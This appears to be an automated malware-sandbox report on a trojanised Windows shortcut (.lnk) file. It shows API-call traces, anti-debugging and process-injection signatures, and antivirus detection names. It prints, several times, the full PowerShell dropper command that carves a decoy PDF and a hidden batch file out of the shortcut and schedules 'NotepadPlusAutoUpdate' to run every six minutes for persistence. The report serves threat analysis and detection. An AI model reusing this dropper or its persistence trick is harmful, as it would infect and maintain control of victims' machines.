stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b01000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b02000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b03000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2820
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b04000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\241007.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
cmdline "C:\Windows\syswow64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"&& exit
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description task schedule rule schtasks_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
cmdline "C:\Windows\syswow64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"&& exit
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"
cmdline "C:\Windows\syswow64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$xtTGE = Get-Location;if($xtTGE -Match 'System32' -or $xtTGE -Match 'Program Files') {$xtTGE = 'C:\Users\test22\AppData\Local\Temp'};$pz5FU74rLj=@('.lnk');$hkJ9aVpxO2V7gi = Get-ChildItem -Path $xtTGE -Recurse *.* -File | where {$_.extension -in $pz5FU74rLj} | where-object {$_.length -eq 0x02EE6666} | Select-Object -ExpandProperty FullName;$hCJgBhK9jtWsC = New-Object System.IO.FileStream($hkJ9aVpxO2V7gi, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$hCJgBhK9jtWsC.Seek(0x00001742, [System.IO.SeekOrigin]::Begin);$QfljwCakcmCVy1 = New-Object byte[] 0x0003A77A;$hCJgBhK9jtWsC.Read($QfljwCakcmCVy1, 0, 0x0003A77A);$KokfX0wnDm = $hkJ9aVpxO2V7gi.replace('.lnk','.pdf');sc $KokfX0wnDm $QfljwCakcmCVy1 -Encoding Byte;& $KokfX0wnDm;$hCJgBhK9jtWsC.Seek(0x0003BEBC, [System.IO.SeekOrigin]::Begin);$uf6YU1v4N=New-Object byte[] 0x00000E9B;$hCJgBhK9jtWsC.Read($uf6YU1v4N, 0, 0x00000E9B);$hCJgBhK9jtWsC.Close();$F61heDpmAIoK=$env:public+'\Libraries\winboot.b'+'a' +'t';$gN49UVvZbCvzq='cmd /q /c \\\"start \\\"NotePadPlus\\\" /min \\\"' + $F61heDpmAIoK + '\\\" '+[char][int]::Parse(38, 'Number')+[char][int]::Parse(38, 'Number')+' exit\\\"';schtasks /create /sc minute /mo 6 /tn 'NotepadPlusAutoUpdate' /tr $gN49UVvZbCvzq /f;sc $F61heDpmAIoK $uf6YU1v4N -Encoding Byte;&$F61heDpmAIoK;"&& exit
Process injection Process 2548 resumed a thread in remote process 2680
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2680
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Lionic Trojan.WinLNK.Pantera.4!c
CTX lnk.trojan.generic
Skyhigh BehavesLike.Dropper.vx
VIPRE Heur.BZC.YAX.Pantera.190.4BE9B82A
Sangfor Trojan.Lnk.Agent.Vtvr
Arcabit Heur.BZC.YAX.Pantera.190.4BE9B82A
Symantec Scr.Mallnk!gen13
ESET-NOD32 a variant of Generik.GSFOQIO
Avast LNK:Agent-HN [Trj]
Kaspersky HEUR:Trojan.Multi.Agent.gen
BitDefender Heur.BZC.YAX.Pantera.190.4BE9B82A
Rising Trojan.Agent/LNK!1.AA03 (CLASSIC)
Emsisoft Heur.BZC.YAX.Pantera.190.4BE9B82A (B)
Sophos Troj/LnkObf-AH
SentinelOne Static AI - Suspicious LNK
FireEye Heur.BZC.YAX.Pantera.190.4BE9B82A
Google Detected
ZoneAlarm HEUR:Trojan.Multi.Agent.gen
GData Win32.Malware.LnkCreatesSchtask.A
VBA32 Trojan.Link.Crafted
Ikarus Trojan.SuspectCRC
AVG LNK:Agent-HN [Trj]
alibabacloud Trojan:Multi/BZC.YMF